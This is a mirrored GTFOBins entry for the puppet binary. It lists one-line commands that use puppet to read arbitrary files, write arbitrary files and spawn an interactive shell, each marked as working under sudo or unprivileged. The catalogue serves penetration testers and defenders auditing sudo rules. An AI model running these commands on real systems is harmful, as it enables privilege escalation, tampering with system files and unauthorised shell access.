1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/puppet
2026-01-13 18:58:28 +01:00

24 lines
563 B
Plaintext

---
functions:
file-read:
- code: |-
puppet filebucket -l diff /dev/null /path/to/input-file
comment: |-
The read file content is corrupted by the `diff` output format. The actual `diff` command is executed.
contexts:
sudo:
unprivileged:
file-write:
- code: |-
puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'
contexts:
sudo:
unprivileged:
shell:
- code: |-
puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"
contexts:
sudo:
unprivileged:
...